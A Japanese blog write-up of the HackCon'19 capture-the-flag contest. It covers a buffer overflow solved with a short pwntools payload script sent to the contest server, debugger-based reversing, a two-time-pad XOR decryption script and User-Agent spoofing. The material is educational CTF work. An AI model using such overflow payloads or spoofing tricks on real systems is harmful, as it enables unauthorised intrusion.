kuzushikiのぺーじ

セキュリティに関することを書きたいですね

GitHub Twitter

HackCon'19 write up

HackCon'19に参加しました!

(team:score_gazer)

結果は705点で112位でした

baby b0f (Pwn 100 pt)

ポイント

  • バッファオーバーフロー(以下BOF)

解く

プログラムを実行するといきなり入力を求められる

  • 間違った入力をするとTry Againと表示される

デバッガで逆アセンブルしつつ実行

image

どうやらこの比較命令が怪しい

RIP: 0x400760 (<main+153>:	cmp    DWORD PTR [rbp-0x4],0xdeadbeef)

BOFしてここを一致させることを考える

以下のコマンドでrsp,rbpを表示

x/32xw $rsp
x/32xw $rbp

以下の行に注目

0x7fffffffdeb0:	0x4141dfa0	0x000a4141	0x00000000	0xcafebabe

今回はAAAAと入力したが,その入力値が確認できる(A0x41に相当)

さらに,0xcafebabe[rbp-0x4]であることも分かる

つまり,0xcafebabeの部分を0xdeadbeefにできれば良い

ペイロードを作ってサーバに投げるプログラムを作って実行

from pwn import *
import socket

con = remote('68.183.158.95', 8989)

payload = b'A' * 10
payload += b'\xef\xbe\xad\xde'

con.sendline(payload)
con.interactive()

フラグゲット

補足

  • 実は初めて解いたPwn問だったりする

  • Pwntoolsを使用してます

babyrev (Reversing 100 pt)

ポイント

  • とりあえずデバッグしてみる

解く

逆アセンブルしてみるも,mainには重要そうな処理が無い

begincheckendが怪しそう

それぞれにブレークポイントを設置,ステップ実行してみる

endをちょっとずつ実行していると,なにやらフラグらしきものが1文字ずつ現れる

フラグゲット

補足

mainからどうやってendに行ってるのか良く分からなかった

Break It Baby (Reversing 304 pt)

ポイント

  • 処理を全部理解しなくても解ける

解く

実行するとDare use IDAと出てくる(「IDAで解析しろ」と言われてる?)

IDAで解析する

処理を簡単にまとめると以下のようになってる

  • mainで入力を10進数として受け取り(以下inputtest

  • testで0x1673660からinputを引き,その結果(以下result)によって分岐

resultが0~21:decryptへ進む(resultの値を引数としている)

それ以外:resultに乱数を代入しdecryptへ進む

正規ルートが乱数の処理を通るとは思えないので,inputは以下の式を満たす10進数だと推測

input = 0x1673660 - i (i = 1 ... 21)

21通りしかないので総当り

フラグゲット

OTP (Crypto 100 pt)

ポイント

  • ある値に対して,同じ値を2回XORしても値は変わらない

  • XORの演算は入れ替え可能

解く

フラグが2つのmessageに分割されており, message1とmessage2に同じkeyをXOR(記号:^)して暗号化されてる

また,それぞれのmessageには必ずmemeという文字が含まれている

復号するためには,上記のポイントより,以下の計算を行う

(message1 or 2の暗号文) ^ (message1 or 2の分かってる部分) ^ (message2 or 1の暗号文)
  • 暗号文 ^ (memed4rk{}c0de)より,対応する部分のkeyを求められ,もう一方のmessageを部分的に復元できる

例えばこんなかんじで×の部分が復号できる

message1の暗号文: ○ ○ ○ ○ ○ ○ ○ ○ ○ ○

message1既知部分: m e m e

message2の暗号文: × × × × ○ ○ ○ ○ ○ ○

  • 上記の計算をするプログラムを作って実行する
c1 = b'\x05F\x17\x12\x14\x18\x01\x0c\x0b4'.hex()
c2 = b'>\x1f\x00\x14\n\x08\x07Q\n\x0e'.hex()

def convert_cipher(cipher):
    l_cipher = list(cipher)
    L = len(l_cipher)
    h_cipher = []
    for i in range(L // 2):
        tmp = l_cipher[i * 2: i * 2 + 2]
        tmp = "0x" + "".join(tmp)
        h_cipher.append(tmp)
    print(h_cipher)
    return h_cipher

h_c1 = convert_cipher(c1)
h_c2 = convert_cipher(c2)

dec = [0] * 10

dec[0] = chr(ord('d') ^ int(h_c2[0], 16) ^ int(h_c1[0], 16))
dec[1] = chr(ord('4') ^ int(h_c2[1], 16) ^ int(h_c1[1], 16))
dec[2] = chr(ord('r') ^ int(h_c2[2], 16) ^ int(h_c1[2], 16))
dec[3] = chr(ord('k') ^ int(h_c2[3], 16) ^ int(h_c1[3], 16))
dec[4] = chr(ord('{') ^ int(h_c2[4], 16) ^ int(h_c1[4], 16))
dec[5] = chr(ord('}') ^ int(h_c2[5], 16) ^ int(h_c1[5], 16))
dec[6] = chr(ord('c') ^ int(h_c2[6], 16) ^ int(h_c1[6], 16))
dec[7] = chr(ord('0') ^ int(h_c2[7], 16) ^ int(h_c1[7], 16))
dec[8] = chr(ord('d') ^ int(h_c2[8], 16) ^ int(h_c1[8], 16))
dec[9] = chr(ord('e') ^ int(h_c2[9], 16) ^ int(h_c1[9], 16))

m1 = "d4rk{"
for i in range(5):
    m1 += dec[i + 5]

m2 = ""
for i in range(5):
    m2 += dec[i]
m2 += "}c0de"

print(m1 + m2)

フラグゲット

補足

両方のmessageはともに10文字なので,memeのヒントは無くても解ける (d4rk{}c0deは計10文字かつ位置がかぶらない)

message1の暗号文: ○ ○ ○ ○ ○ × × × × ×

message既知部分 : d 4 r k { } c 0 d e

message2の暗号文: × × × × × ○ ○ ○ ○ ○

Secret Agent (Web 100 pt)

ポイント

  • 使用しているブラウザの種類はUserAgentで判別できる

  • UserAgentは偽装できる

解く

問題ページに飛ぶと以下の文章が.

  • Should d4rkc0de make their own browser

firefoxとかではなくオリジナルのブラウザでしかフラグが確認できない?

ということでUserAgentを以下に書き換える

  • Should d4rkc0de make their own browser

フラグゲット

補足

たまたまページ内の文章を入れたら上手く行ったが,“my browser"とかでは駄目だった.

どこかから推測する問題だったのかも?

終わりに

今回のCTF,個人的にはものすごく楽しめました サーバに全然繋がらなかった…

間違いなどあれば遠慮なくコメントください!